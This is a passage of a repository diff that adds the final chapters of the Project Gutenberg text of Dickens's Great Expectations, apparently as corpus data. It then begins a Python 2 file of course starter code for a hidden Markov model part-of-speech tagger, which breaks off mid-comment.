+stumbling-block, but on the whole he got on very well indeed, and +when he had signed his name, and had removed a finishing blot from +the paper to the crown of his head with his two forefingers, he got +up and hovered about the table, trying the effect of his +performance from various points of view as it lay there, with +unbounded satisfaction. + +Not to make Joe uneasy by talking too much, even if I had been able +to talk much, I deferred asking him about Miss Havisham until next +day. He shook his head when I then asked him if she had recovered. + +"Is she dead, Joe?" + +"Why you see, old chap," said Joe, in a tone of remonstrance, and +by way of getting at it by degrees, "I wouldn't go so far as to say +that, for that's a deal to say; but she ain't--" + +"Living, Joe?" + +"That's nigher where it is," said Joe; "she ain't living." + +"Did she linger long, Joe?" + +"Arter you was took ill, pretty much about what you might call (if +you was put to it) a week," said Joe; still determined, on my +account, to come at everything by degrees. + +"Dear Joe, have you heard what becomes of her property?" + +"Well, old chap," said Joe, "it do appear that she had settled the +most of it, which I meantersay tied it up, on Miss Estella. But she +had wrote out a little coddleshell in her own hand a day or two +afore the accident, leaving a cool four thousand to Mr. Matthew +Pocket. And why, do you suppose, above all things, Pip, she left +that cool four thousand unto him? 'Because of Pip's account of him +the said Matthew.' I am told by Biddy, that air the writing," said +Joe, repeating the legal turn as if it did him infinite good, +"'account of him the said Matthew.' And a cool four thousand, Pip!" + +I never discovered from whom Joe derived the conventional +temperature of the four thousand pounds, but it appeared to make +the sum of money more to him, and he had a manifest relish in +insisting on its being cool. + +This account gave me great joy, as it perfected the only good thing +I had done. I asked Joe whether he had heard if any of the other +relations had any legacies? + +"Miss Sarah," said Joe, "she have twenty-five pound perannium fur +to buy pills, on account of being bilious. Miss Georgiana, she have +twenty pound down. Mrs. - what's the name of them wild beasts with +humps, old chap?" + +"Camels?" said I, wondering why he could possibly want to know. + +Joe nodded. "Mrs. Camels," by which I presently understood he meant +Camilla, "she have five pound fur to buy rushlights to put her in +spirits when she wake up in the night." + +The accuracy of these recitals was sufficiently obvious to me, to +give me great confidence in Joe's information. "And now," said Joe, +"you ain't that strong yet, old chap, that you can take in more nor +one additional shovel-full to-day. Old Orlick he's been a +bustin' open a dwelling-ouse." + +"Whose?" said I. + +"Not, I grant, you, but what his manners is given to blusterous," +said Joe, apologetically; "still, a Englishman's ouse is his +Castle, and castles must not be busted 'cept when done in war time. +And wotsume'er the failings on his part, he were a corn and +seedsman in his hart." + +"Is it Pumblechook's house that has been broken into, then?" + +"That's it, Pip," said Joe; "and they took his till, and they took +his cash-box, and they drinked his wine, and they partook of his +wittles, and they slapped his face, and they pulled his nose, and +they tied him up to his bedpust, and they giv' him a dozen, and +they stuffed his mouth full of flowering annuals to prewent his +crying out. But he knowed Orlick, and Orlick's in the county +jail." + +By these approaches we arrived at unrestricted conversation. I was +slow to gain strength, but I did slowly and surely become less +weak, and Joe stayed with me, and I fancied I was little Pip again. + +For, the tenderness of Joe was so beautifully proportioned to my +need, that I was like a child in his hands. He would sit and talk +to me in the old confidence, and with the old simplicity, and in +the old unassertive protecting way, so that I would half believe +that all my life since the days of the old kitchen was one of the +mental troubles of the fever that was gone. He did everything for +me except the household work, for which he had engaged a very +decent woman, after paying off the laundress on his first arrival. +"Which I do assure you, Pip," he would often say, in explanation of +that liberty; "I found her a tapping the spare bed, like a cask of +beer, and drawing off the feathers in a bucket, for sale. Which she +would have tapped yourn next, and draw'd it off with you a laying +on it, and was then a carrying away the coals gradiwally in the +souptureen and wegetable-dishes, and the wine and spirits in your +Wellington boots." + +We looked forward to the day when I should go out for a ride, as we +had once looked forward to the day of my apprenticeship. And when +the day came, and an open carriage was got into the Lane, Joe +wrapped me up, took me in his arms, carried me down to it, and put +me in, as if I were still the small helpless creature to whom he +had so abundantly given of the wealth of his great nature. + +And Joe got in beside me, and we drove away together into the +country, where the rich summer growth was already on the trees and +on the grass, and sweet summer scents filled all the air. The day +happened to be Sunday, and when I looked on the loveliness around +me, and thought how it had grown and changed, and how the little +wild flowers had been forming, and the voices of the birds had been +strengthening, by day and by night, under the sun and under the +stars, while poor I lay burning and tossing on my bed, the mere +remembrance of having burned and tossed there, came like a check +upon my peace. But, when I heard the Sunday bells, and looked +around a little more upon the outspread beauty, I felt that I was +not nearly thankful enough - that I was too weak yet, to be even +that - and I laid my head on Joe's shoulder, as I had laid it long +ago when he had taken me to the Fair or where not, and it was too +much for my young senses. + +More composure came to me after a while, and we talked as we used +to talk, lying on the grass at the old Battery. There was no change +whatever in Joe. Exactly what he had been in my eyes then, he was +in my eyes still; just as simply faithful, and as simply right. + +When we got back again and he lifted me out, and carried me - so +easily - across the court and up the stairs, I thought of that +eventful Christmas Day when he had carried me over the marshes. We +had not yet made any allusion to my change of fortune, nor did I +know how much of my late history he was acquainted with. I was so +doubtful of myself now, and put so much trust in him, that I could +not satisfy myself whether I ought to refer to it when he did not. + +"Have you heard, Joe," I asked him that evening, upon further +consideration, as he smoked his pipe at the window, "who my patron +was?" + +"I heerd," returned Joe, "as it were not Miss Havisham, old chap." + +"Did you hear who it was, Joe?" + +"Well! I heerd as it were a person what sent the person what +giv' you the bank-notes at the Jolly Bargemen, Pip." + +"So it was." + +"Astonishing!" said Joe, in the placidest way. + +"Did you hear that he was dead, Joe?" I presently asked, with +increasing diffidence. + +"Which? Him as sent the bank-notes, Pip?" + +"Yes." + +"I think," said Joe, after meditating a long time, and looking +rather evasively at the window-seat, "as I did hear tell that how +he were something or another in a general way in that direction." + +"Did you hear anything of his circumstances, Joe?" + +"Not partickler, Pip." + +"If you would like to hear, Joe--" I was beginning, when Joe got up +and came to my sofa. + +"Lookee here, old chap," said Joe, bending over me. "Ever the best +of friends; ain't us, Pip?" + +I was ashamed to answer him. + +"Wery good, then," said Joe, as if I had answered; "that's all +right, that's agreed upon. Then why go into subjects, old chap, +which as betwixt two sech must be for ever onnecessary? There's +subjects enough as betwixt two sech, without onnecessary ones. +Lord! To think of your poor sister and her Rampages! And don't you +remember Tickler?" + +"I do indeed, Joe." + +"Lookee here, old chap," said Joe. "I done what I could to keep you +and Tickler in sunders, but my power were not always fully equal to +my inclinations. For when your poor sister had a mind to drop into +you, it were not so much," said Joe, in his favourite argumentative +way, "that she dropped into me too, if I put myself in opposition +to her but that she dropped into you always heavier for it. I +noticed that. It ain't a grab at a man's whisker, not yet a shake +or two of a man (to which your sister was quite welcome), that 'ud +put a man off from getting a little child out of punishment. But +when that little child is dropped into, heavier, for that grab of +whisker or shaking, then that man naterally up and says to himself, +'Where is the good as you are a-doing? I grant you I see the 'arm,' +says the man, 'but I don't see the good. I call upon you, sir, +therefore, to pint out the good.'" + +"The man says?" I observed, as Joe waited for me to speak. + +"The man says," Joe assented. "Is he right, that man?" + +"Dear Joe, he is always right." + +"Well, old chap," said Joe, "then abide by your words. If he's +always right (which in general he's more likely wrong), he's right +when he says this: - Supposing ever you kep any little matter to +yourself, when you was a little child, you kep it mostly because +you know'd as J. Gargery's power to part you and Tickler in +sunders, were not fully equal to his inclinations. Therefore, think +no more of it as betwixt two sech, and do not let us pass remarks +upon onnecessary subjects. Biddy giv' herself a deal o' trouble +with me afore I left (for I am almost awful dull), as I should view +it in this light, and, viewing it in this light, as I should so put +it. Both of which," said Joe, quite charmed with his logical +arrangement, "being done, now this to you a true friend, say. +Namely. You mustn't go a-over-doing on it, but you must have your +supper and your wine-and-water, and you must be put betwixt the +sheets." + +The delicacy with which Joe dismissed this theme, and the sweet +tact and kindness with which Biddy - who with her woman's wit had +found me out so soon - had prepared him for it, made a deep +impression on my mind. But whether Joe knew how poor I was, and how +my great expectations had all dissolved, like our own marsh mists +before the sun, I could not understand. + +Another thing in Joe that I could not understand when it first +began to develop itself, but which I soon arrived at a sorrowful +comprehension of, was this: As I became stronger and better, Joe +became a little less easy with me. In my weakness and entire +dependence on him, the dear fellow had fallen into the old tone, +and called me by the old names, the dear "old Pip, old chap," that +now were music in my ears. I too had fallen into the old ways, only +happy and thankful that he let me. But, imperceptibly, though I +held by them fast, Joe's hold upon them began to slacken; and +whereas I wondered at this, at first, I soon began to understand +that the cause of it was in me, and that the fault of it was all +mine. + +Ah! Had I given Joe no reason to doubt my constancy, and to think +that in prosperity I should grow cold to him and cast him off? Had +I given Joe's innocent heart no cause to feel instinctively that as +I got stronger, his hold upon me would be weaker, and that he had +better loosen it in time and let me go, before I plucked myself +away? + +It was on the third or fourth occasion of my going out walking in +the Temple Gardens leaning on Joe's arm, that I saw this change in +him very plainly. We had been sitting in the bright warm sunlight, +looking at the river, and I chanced to say as we got up: + +"See, Joe! I can walk quite strongly. Now, you shall see me walk +back by myself." + +"Which do not over-do it, Pip," said Joe; "but I shall be happy fur +to see you able, sir." + +The last word grated on me; but how could I remonstrate! I walked +no further than the gate of the gardens, and then pretended to be +weaker than I was, and asked Joe for his arm. Joe gave it me, but +was thoughtful. + +I, for my part, was thoughtful too; for, how best to check this +growing change in Joe, was a great perplexity to my remorseful +thoughts. That I was ashamed to tell him exactly how I was placed, +and what I had come down to, I do not seek to conceal; but, I hope +my reluctance was not quite an unworthy one. He would want to help +me out of his little savings, I knew, and I knew that he ought not +to help me, and that I must not suffer him to do it. + +It was a thoughtful evening with both of us. But, before we went to +bed, I had resolved that I would wait over to-morrow, to-morrow +being Sunday, and would begin my new course with the new week. On +Monday morning I would speak to Joe about this change, I would lay +aside this last vestige of reserve, I would tell him what I had in +my thoughts (that Secondly, not yet arrived at), and why I had not +decided to go out to Herbert, and then the change would be +conquered for ever. As I cleared, Joe cleared, and it seemed as +though he had sympathetically arrived at a resolution too. + +We had a quiet day on the Sunday, and we rode out into the country, +and then walked in the fields. + +"I feel thankful that I have been ill, Joe," I said. + +"Dear old Pip, old chap, you're a'most come round, sir." + +"It has been a memorable time for me, Joe." + +"Likeways for myself, sir," Joe returned. + +"We have had a time together, Joe, that I can never forget. There +were days once, I know, that I did for a while forget; but I never +shall forget these." + +"Pip," said Joe, appearing a little hurried and troubled, "there +has been larks, And, dear sir, what have been betwixt us - have +been." + +At night, when I had gone to bed, Joe came into my room, as he had +done all through my recovery. He asked me if I felt sure that I was +as well as in the morning? + +"Yes, dear Joe, quite." + +"And are always a-getting stronger, old chap?" + +"Yes, dear Joe, steadily." + +Joe patted the coverlet on my shoulder with his great good hand, +and said, in what I thought a husky voice, "Good night!" + +When I got up in the morning, refreshed and stronger yet, I was +full of my resolution to tell Joe all, without delay. I would tell +him before breakfast. I would dress at once and go to his room and +surprise him; for, it was the first day I had been up early. I went +to his room, and he was not there. Not only was he not there, but +his box was gone. + +I hurried then to the breakfast-table, and on it found a letter. +These were its brief contents. + +"Not wishful to intrude I have departured fur you are well again +dear Pip and will do better without JO. + +"P.S. Ever the best of friends." + +Enclosed in the letter, was a receipt for the debt and costs on +which I had been arrested. Down to that moment I had vainly +supposed that my creditor had withdrawn or suspended proceedings +until I should be quite recovered. I had never dreamed of Joe's +having paid the money; but, Joe had paid it, and the receipt was in +his name. + +What remained for me now, but to follow him to the dear old forge, +and there to have out my disclosure to him, and my penitent +remonstrance with him, and there to relieve my mind and heart of +that reserved Secondly, which had begun as a vague something +lingering in my thoughts, and had formed into a settled purpose? + +The purpose was, that I would go to Biddy, that I would show her +how humbled and repentant I came back, that I would tell her how I +had lost all I once hoped for, that I would remind her of our old +confidences in my first unhappy time. Then, I would say to her, +"Biddy, I think you once liked me very well, when my errant heart, +even while it strayed away from you, was quieter and better with +you than it ever has been since. If you can like me only half as +well once more, if you can take me with all my faults and +disappointments on my head, if you can receive me like a forgiven +child (and indeed I am as sorry, Biddy, and have as much need of a +hushing voice and a soothing hand), I hope I am a little worthier +of you that I was - not much, but a little. And, Biddy, it shall +rest with you to say whether I shall work at the forge with Joe, or +whether I shall try for any different occupation down in this +country, or whether we shall go away to a distant place where an +opportunity awaits me, which I set aside when it was offered, until +I knew your answer. And now, dear Biddy, if you can tell me that +you will go through the world with me, you will surely make it a +better world for me, and me a better man for it, and I will try +hard to make it a better world for you." + +Such was my purpose. After three days more of recovery, I went down +to the old place, to put it in execution; and how I sped in it, is +all I have left to tell. + + +Chapter 58 + +The tidings of my high fortunes having had a heavy fall, had got +down to my native place and its neighbourhood, before I got there. +I found the Blue Boar in possession of the intelligence, and I +found that it made a great change in the Boar's demeanour. Whereas +the Boar had cultivated my good opinion with warm assiduity when I +was coming into property, the Boar was exceedingly cool on the +subject now that I was going out of property. + +It was evening when I arrived, much fatigued by the journey I had +so often made so easily. The Boar could not put me into my usual +bedroom, which was engaged (probably by some one who had +expectations), and could only assign me a very indifferent chamber +among the pigeons and post-chaises up the yard. But, I had as sound +a sleep in that lodging as in the most superior accommodation the +Boar could have given me, and the quality of my dreams was about +the same as in the best bedroom. + +Early in the morning while my breakfast was getting ready, I +strolled round by Satis House. There were printed bills on the +gate, and on bits of carpet hanging out of the windows, announcing +a sale by auction of the Household Furniture and Effects, next +week. The House itself was to be sold as old building materials and +pulled down. LOT 1 was marked in whitewashed knock-knee letters on +the brew house; LOT 2 on that part of the main building which had +been so long shut up. Other lots were marked off on other parts of +the structure, and the ivy had been torn down to make room for the +inscriptions, and much of it trailed low in the dust and was +withered already. Stepping in for a moment at the open gate and +looking around me with the uncomfortable air of a stranger who had +no business there, I saw the auctioneer's clerk walking on the +casks and telling them off for the information of a catalogue +compiler, pen in hand, who made a temporary desk of the wheeled +chair I had so often pushed along to the tune of Old Clem. + +When I got back to my breakfast in the Boar's coffee-room, I found +Mr. Pumblechook conversing with the landlord. Mr. Pumblechook (not +improved in appearance by his late nocturnal adventure) was waiting +for me, and addressed me in the following terms. + +"Young man, I am sorry to see you brought low. But what else could +be expected! What else could be expected!" + +As he extended his hand with a magnificently forgiving air, and as +I was broken by illness and unfit to quarrel, I took it. + +"William," said Mr. Pumblechook to the waiter, "put a muffin on +table. And has it come to this! Has it come to this!" + +I frowningly sat down to my breakfast. Mr. Pumblechook stood over me +and poured out my tea - before I could touch the teapot - with the +air of a benefactor who was resolved to be true to the last. + +"William," said Mr. Pumblechook, mournfully, "put the salt on. In +happier times," addressing me, "I think you took sugar. And did you +take milk? You did. Sugar and milk. William, bring a watercress." + +"Thank you," said I, shortly, "but I don't eat watercresses." + +"You don't eat 'em," returned Mr. Pumblechook, sighing and nodding +his head several times, as if he might have expected that, and as +if abstinence from watercresses were consistent with my downfall. +"True. The simple fruits of the earth. No. You needn't bring any, +William." + +I went on with my breakfast, and Mr. Pumblechook continued to stand +over me, staring fishily and breathing noisily, as he always did. + +"Little more than skin and bone!" mused Mr. Pumblechook, aloud. "And +yet when he went from here (I may say with my blessing), and I +spread afore him my humble store, like the Bee, he was as plump as +a Peach!" + +This reminded me of the wonderful difference between the servile +manner in which he had offered his hand in my new prosperity, +saying, "May I?" and the ostentatious clemency with which he had +just now exhibited the same fat five fingers. + +"Hah!" he went on, handing me the bread-and-butter. "And air you +a-going to Joseph?" + +"In heaven's name," said I, firing in spite of myself, "what does +it matter to you where I am going? Leave that teapot alone." + +It was the worst course I could have taken, because it gave +Pumblechook the opportunity he wanted. + +"Yes, young man," said he, releasing the handle of the article in +question, retiring a step or two from my table, and speaking for +the behoof of the landlord and waiter at the door, "I will leave +that teapot alone. You are right, young man. For once, you are +right. I forgit myself when I take such an interest in your +breakfast, as to wish your frame, exhausted by the debilitating +effects of prodigygality, to be stimilated by the 'olesome +nourishment of your forefathers. And yet," said Pumblechook, +turning to the landlord and waiter, and pointing me out at arm's +length, "this is him as I ever sported with in his days of happy +infancy! Tell me not it cannot be; I tell you this is him!" + +A low murmur from the two replied. The waiter appeared to be +particularly affected. + +"This is him," said Pumblechook, "as I have rode in my shaycart. +This is him as I have seen brought up by hand. This is him untoe +the sister of which I was uncle by marriage, as her name was +Georgiana M'ria from her own mother, let him deny it if he can!" + +The waiter seemed convinced that I could not deny it, and that it +gave the case a black look. + +"Young man," said Pumblechook, screwing his head at me in the old +fashion, "you air a-going to Joseph. What does it matter to me, you +ask me, where you air a-going? I say to you, Sir, you air a-going +to Joseph." + +The waiter coughed, as if he modestly invited me to get over that. + +"Now," said Pumblechook, and all this with a most exasperating air +of saying in the cause of virtue what was perfectly convincing and +conclusive, "I will tell you what to say to Joseph. Here is Squires +of the Boar present, known and respected in this town, and here is +William, which his father's name was Potkins if I do not deceive +myself." + +"You do not, sir," said William. + +"In their presence," pursued Pumblechook, "I will tell you, young +man, what to say to Joseph. Says you, "Joseph, I have this day seen +my earliest benefactor and the founder of my fortun's. I will name +no names, Joseph, but so they are pleased to call him up-town, and +I have seen that man." + +"I swear I don't see him here," said I. + +"Say that likewise," retorted Pumblechook. "Say you said that, and +even Joseph will probably betray surprise." + +"There you quite mistake him," said I. "I know better." + +"Says you," Pumblechook went on, "'Joseph, I have seen that man, and +that man bears you no malice and bears me no malice. He knows your +character, Joseph, and is well acquainted with your pig-headedness +and ignorance; and he knows my character, Joseph, and he knows my +want of gratitoode. Yes, Joseph,' says you," here Pumblechook shook +his head and hand at me, "'he knows my total deficiency of common +human gratitoode. He knows it, Joseph, as none can. You do not know +it, Joseph, having no call to know it, but that man do.'" + +Windy donkey as he was, it really amazed me that he could have the +face to talk thus to mine. + +"Says you, 'Joseph, he gave me a little message, which I will now +repeat. It was, that in my being brought low, he saw the finger of +Providence. He knowed that finger when he saw it, Joseph, and he +saw it plain. It pinted out this writing, Joseph. Reward of +ingratitoode to his earliest benefactor, and founder of fortun's. +But that man said he did not repent of what he had done, Joseph. +Not at all. It was right to do it, it was kind to do it, it was +benevolent to do it, and he would do it again.'" + +"It's pity," said I, scornfully, as I finished my interrupted +breakfast, "that the man did not say what he had done and would do +again." + +"Squires of the Boar!" Pumblechook was now addressing the landlord, +"and William! I have no objections to your mentioning, either +up-town or down-town, if such should be your wishes, that it was +right to do it, kind to do it, benevolent to do it, and that I +would do it again." + +With those words the Impostor shook them both by the hand, with an +air, and left the house; leaving me much more astonished than +delighted by the virtues of that same indefinite "it." I was not +long after him in leaving the house too, and when I went down the +High-street I saw him holding forth (no doubt to the same effect) +at his shop door to a select group, who honoured me with very +unfavourable glances as I passed on the opposite side of the way. + +But, it was only the pleasanter to turn to Biddy and to Joe, whose +great forbearance shone more brightly than before, if that could +be, contrasted with this brazen pretender. I went towards them +slowly, for my limbs were weak, but with a sense of increasing +relief as I drew nearer to them, and a sense of leaving arrogance +and untruthfulness further and further behind. + +The June weather was delicious. The sky was blue, the larks were +soaring high over the green corn, I thought all that country-side +more beautiful and peaceful by far than I had ever known it to be +yet. Many pleasant pictures of the life that I would lead there, +and of the change for the better that would come over my character +when I had a guiding spirit at my side whose simple faith and clear +home-wisdom I had proved, beguiled my way. They awakened a tender +emotion in me; for, my heart was softened by my return, and such a +change had come to pass, that I felt like one who was toiling home +barefoot from distant travel, and whose wanderings had lasted many +years. + +The schoolhouse where Biddy was mistress, I had never seen; but, +the little roundabout lane by which I entered the village for +quietness' sake, took me past it. I was disappointed to find that +the day was a holiday; no children were there, and Biddy's house +was closed. Some hopeful notion of seeing her busily engaged in her +daily duties, before she saw me, had been in my mind and was +defeated. + +But, the forge was a very short distance off, and I went towards it +under the sweet green limes, listening for the clink of Joe's +hammer. Long after I ought to have heard it, and long after I had +fancied I heard it and found it but a fancy, all was still. The +limes were there, and the white thorns were there, and the +chestnut-trees were there, and their leaves rustled harmoniously +when I stopped to listen; but, the clink of Joe's hammer was not in +the midsummer wind. + +Almost fearing, without knowing why, to come in view of the forge, +I saw it at last, and saw that it was closed. No gleam of fire, no +glittering shower of sparks, no roar of bellows; all shut up, and +still. + +But, the house was not deserted, and the best parlour seemed to be +in use, for there were white curtains fluttering in its window, and +the window was open and gay with flowers. I went softly towards it, +meaning to peep over the flowers, when Joe and Biddy stood before +me, arm in arm. + +At first Biddy gave a cry, as if she thought it was my apparition, +but in another moment she was in my embrace. I wept to see her, and +she wept to see me; I, because she looked so fresh and pleasant; +she, because I looked so worn and white. + +"But dear Biddy, how smart you are!" + +"Yes, dear Pip." + +"And Joe, how smart you are!" + +"Yes, dear old Pip, old chap." + +I looked at both of them, from one to the other, and then-- + +"It's my wedding-day," cried Biddy, in a burst of happiness, "and I +am married to Joe!" + +They had taken me into the kitchen, and I had laid my head down on +the old deal table. Biddy held one of my hands to her lips, and +Joe's restoring touch was on my shoulder. "Which he warn't strong +enough, my dear, fur to be surprised," said Joe. And Biddy said, "I +ought to have thought of it, dear Joe, but I was too happy." They +were both so overjoyed to see me, so proud to see me, so touched by +my coming to them, so delighted that I should have come by accident +to make their day complete! + +My first thought was one of great thankfulness that I had never +breathed this last baffled hope to Joe. How often, while he was +with me in my illness, had it risen to my lips. How irrevocable +would have been his knowledge of it, if he had remained with me but +another hour! + +"Dear Biddy," said I, "you have the best husband in the whole +world, and if you could have seen him by my bed you would have - +But no, you couldn't love him better than you do." + +"No, I couldn't indeed," said Biddy. + +"And, dear Joe, you have the best wife in the whole world, and she +will make you as happy as even you deserve to be, you dear, good, +noble Joe!" + +Joe looked at me with a quivering lip, and fairly put his sleeve +before his eyes. + +"And Joe and Biddy both, as you have been to church to-day, and are +in charity and love with all mankind, receive my humble thanks for +all you have done for me and all I have so ill repaid! And when I +say that I am going away within the hour, for I am soon going +abroad, and that I shall never rest until I have worked for the +money with which you have kept me out of prison, and have sent it +to you, don't think, dear Joe and Biddy, that if I could repay it a +thousand times over, I suppose I could cancel a farthing of the +debt I owe you, or that I would do so if I could!" + +They were both melted by these words, and both entreated me to say +no more. + +"But I must say more. Dear Joe, I hope you will have children to +love, and that some little fellow will sit in this chimney corner +of a winter night, who may remind you of another little fellow gone +out of it for ever. Don't tell him, Joe, that I was thankless; +don't tell him, Biddy, that I was ungenerous and unjust; only tell +him that I honoured you both, because you were both so good and +true, and that, as your child, I said it would be natural to him to +grow up a much better man than I did." + +"I ain't a-going," said Joe, from behind his sleeve, "to tell him +nothink o' that natur, Pip. Nor Biddy ain't. Nor yet no one ain't." + +"And now, though I know you have already done it in your own kind +hearts, pray tell me, both, that you forgive me! Pray let me hear +you say the words, that I may carry the sound of them away with me, +and then I shall be able to believe that you can trust me, and +think better of me, in the time to come!" + +"O dear old Pip, old chap," said Joe. "God knows as I forgive you, +if I have anythink to forgive!" + +"Amen! And God knows I do!" echoed Biddy. + +"Now let me go up and look at my old little room, and rest there a +few minutes by myself, and then when I have eaten and drunk with you, +go with me as far as the finger-post, dear Joe and Biddy, before we +say good-bye!" + +I sold all I had, and put aside as much as I could, for a +composition with my creditors - who gave me ample time to pay them +in full - and I went out and joined Herbert. Within a month, I had +quitted England, and within two months I was clerk to Clarriker and +Co., and within four months I assumed my first undivided +responsibility. For, the beam across the parlour ceiling at Mill +Pond Bank, had then ceased to tremble under old Bill Barley's +growls and was at peace, and Herbert had gone away to marry Clara, +and I was left in sole charge of the Eastern Branch until he +brought her back. + +Many a year went round, before I was a partner in the House; but, +I lived happily with Herbert and his wife, and lived frugally, and +paid my debts, and maintained a constant correspondence with Biddy +and Joe. It was not until I became third in the Firm, that +Clarriker betrayed me to Herbert; but, he then declared that the +secret of Herbert's partnership had been long enough upon his +conscience, and he must tell it. So, he told it, and Herbert was as +much moved as amazed, and the dear fellow and I were not the worse +friends for the long concealment. I must not leave it to be +supposed that we were ever a great house, or that we made mints of +money. We were not in a grand way of business, but we had a good +name, and worked for our profits, and did very well. We owed so +much to Herbert's ever cheerful industry and readiness, that I +often wondered how I had conceived that old idea of his inaptitude, +until I was one day enlightened by the reflection, that perhaps the +inaptitude had never been in him at all, but had been in me. + + +Chapter 59 + +For eleven years, I had not seen Joe nor Biddy with my bodily +eyes-though they had both been often before my fancy in the +East-when, upon an evening in December, an hour or two after dark, +I laid my hand softly on the latch of the old kitchen door. I +touched it so softly that I was not heard, and looked in unseen. +There, smoking his pipe in the old place by the kitchen firelight, +as hale and as strong as ever though a little grey, sat Joe; and +there, fenced into the corner with Joe's leg, and sitting on my own +little stool looking at the fire, was - I again! + +"We giv' him the name of Pip for your sake, dear old chap," said +Joe, delighted when I took another stool by the child's side (but I +did not rumple his hair), "and we hoped he might grow a little bit +like you, and we think he do." + +I thought so too, and I took him out for a walk next morning, and +we talked immensely, understanding one another to perfection. And I +took him down to the churchyard, and set him on a certain tombstone +there, and he showed me from that elevation which stone was sacred +to the memory of Philip Pirrip, late of this Parish, and Also +Georgiana, Wife of the Above. + +"Biddy," said I, when I talked with her after dinner, as her little +girl lay sleeping in her lap, "you must give Pip to me, one of +these days; or lend him, at all events." + +"No, no," said Biddy, gently. "You must marry." + +"So Herbert and Clara say, but I don't think I shall, Biddy. I have +so settled down in their home, that it's not at all likely. I am +already quite an old bachelor." + +Biddy looked down at her child, and put its little hand to her +lips, and then put the good matronly hand with which she had +touched it, into mine. There was something in the action and in the +light pressure of Biddy's wedding-ring, that had a very pretty +eloquence in it. + +"Dear Pip," said Biddy, "you are sure you don't fret for her?" + +"O no - I think not, Biddy." + +"Tell me as an old, old friend. Have you quite forgotten her? + +"My dear Biddy, I have forgotten nothing in my life that ever had a +foremost place there, and little that ever had any place there. But +that poor dream, as I once used to call it, has all gone by, Biddy, +all gone by!" + +Nevertheless, I knew while I said those words, that I secretly +intended to revisit the site of the old house that evening, alone, +for her sake. Yes even so. For Estella's sake. + +I had heard of her as leading a most unhappy life, and as being +separated from her husband, who had used her with great cruelty, +and who had become quite renowned as a compound of pride, avarice, +brutality, and meanness. And I had heard of the death of her +husband, from an accident consequent on his ill-treatment of a +horse. This release had befallen her some two years before; for +anything I knew, she was married again. + +The early dinner-hour at Joe's, left me abundance of time, without +hurrying my talk with Biddy, to walk over to the old spot before +dark. But, what with loitering on the way, to look at old objects +and to think of old times, the day had quite declined when I came +to the place. + +There was no house now, no brewery, no building whatever left, but +the wall of the old garden. The cleared space had been enclosed +with a rough fence, and, looking over it, I saw that some of the +old ivy had struck root anew, and was growing green on low quiet +mounds of ruin. A gate in the fence standing ajar, I pushed it +open, and went in. + +A cold silvery mist had veiled the afternoon, and the moon was not +yet up to scatter it. But, the stars were shining beyond the mist, +and the moon was coming, and the evening was not dark. I could +trace out where every part of the old house had been, and where the +brewery had been, and where the gate, and where the casks. I had +done so, and was looking along the desolate gardenwalk, when I +beheld a solitary figure in it. + +The figure showed itself aware of me, as I advanced. It had been +moving towards me, but it stood still. As I drew nearer, I saw it +to be the figure of a woman. As I drew nearer yet, it was about to +turn away, when it stopped, and let me come up with it. Then, it +faltered as if much surprised, and uttered my name, and I cried +out: + +"Estella!" + +"I am greatly changed. I wonder you know me." + +The freshness of her beauty was indeed gone, but its indescribable +majesty and its indescribable charm remained. Those attractions in +it, I had seen before; what I had never seen before, was the +saddened softened light of the once proud eyes; what I had never +felt before, was the friendly touch of the once insensible hand. + +We sat down on a bench that was near, and I said, "After so many +years, it is strange that we should thus meet again, Estella, here +where our first meeting was! Do you often come back?" + +"I have never been here since." + +"Nor I." + +The moon began to rise, and I thought of the placid look at the +white ceiling, which had passed away. The moon began to rise, and I +thought of the pressure on my hand when I had spoken the last words +he had heard on earth. + +Estella was the next to break the silence that ensued between us. + +"I have very often hoped and intended to come back, but have been +prevented by many circumstances. Poor, poor old place!" + +The silvery mist was touched with the first rays of the moonlight, +and the same rays touched the tears that dropped from her eyes. Not +knowing that I saw them, and setting herself to get the better of +them, she said quietly: + +"Were you wondering, as you walked along, how it came to be left in +this condition?" + +"Yes, Estella." + +"The ground belongs to me. It is the only possession I have not +relinquished. Everything else has gone from me, little by little, +but I have kept this. It was the subject of the only determined +resistance I made in all the wretched years." + +"Is it to be built on?" + +"At last it is. I came here to take leave of it before its change. +And you," she said, in a voice of touching interest to a wanderer, +"you live abroad still?" + +"Still." + +"And do well, I am sure?" + +"I work pretty hard for a sufficient living, and therefore - Yes, I +do well." + +"I have often thought of you," said Estella. + +"Have you?" + +"Of late, very often. There was a long hard time when I kept far +from me, the remembrance, of what I had thrown away when I was +quite ignorant of its worth. But, since my duty has not been +incompatible with the admission of that remembrance, I have given +it a place in my heart." + +"You have always held your place in my heart," I answered. + +And we were silent again, until she spoke. + +"I little thought," said Estella, "that I should take leave of you +in taking leave of this spot. I am very glad to do so." + +"Glad to part again, Estella? To me, parting is a painful thing. To +me, the remembrance of our last parting has been ever mournful and +painful." + +"But you said to me," returned Estella, very earnestly, "'God bless +you, God forgive you!' And if you could say that to me then, you +will not hesitate to say that to me now - now, when suffering has +been stronger than all other teaching, and has taught me to +understand what your heart used to be. I have been bent and broken, +but - I hope - into a better shape. Be as considerate and good to +me as you were, and tell me we are friends." + +"We are friends," said I, rising and bending over her, as she rose +from the bench. + +"And will continue friends apart," said Estella. + +I took her hand in mine, and we went out of the ruined place; and, +as the morning mists had risen long ago when I first left the +forge, so, the evening mists were rising now, and in all the broad +expanse of tranquil light they showed to me, I saw no shadow of +another parting from her. + + + + + +End of The Project Gutenberg Etext of Great Expectations, by Dickens + diff --git a/mccalum/hmm.py b/mccalum/hmm.py new file mode 100644 index 0000000..19adebd --- /dev/null +++ b/mccalum/hmm.py @@ -0,0 +1,74 @@ +# This code should help get you started, but it is not guaranteed to +# be bug free! If you find problems, please report to +# compling-class@cs.umass.edu + +import sys +from dicts import DefaultDict +from random import choice + +def Dict(**args): + """Return a dictionary with argument names as the keys, + and argument values as the key values""" + return args + +def hmm (file): + """Given an open FILE, e.g. from the open(filename) function, + Read pre-tagged sentences of WSJ, one per line. Return an HMM, + here represented as a tuple containing (1) the transition probabilities, + and (2) the emmission probabilities.""" + transitions = DefaultDict(DefaultDict(0)) + emissions = DefaultDict(DefaultDict(0)) + wordcounts = DefaultDict(0) + # For each sentence (one per line) + for line in file.xreadlines(): + # for each word in the sentence (space separated) + prevtag = 'START' # Before each sentence, begin in START state + for taggedword in line.split(): + (word, tag) = taggedword.split('/') + transitions[prevtag][tag] += 1 + emissions[tag][word] += 1 + wordcounts[word] += 1 + # At test time we will need estimates for "unknown words"---the words + # the words that never occurred in the training data. One recommended + # way to do this is to turn all training words occurring just once + # into '' and use this as the stand-in for all 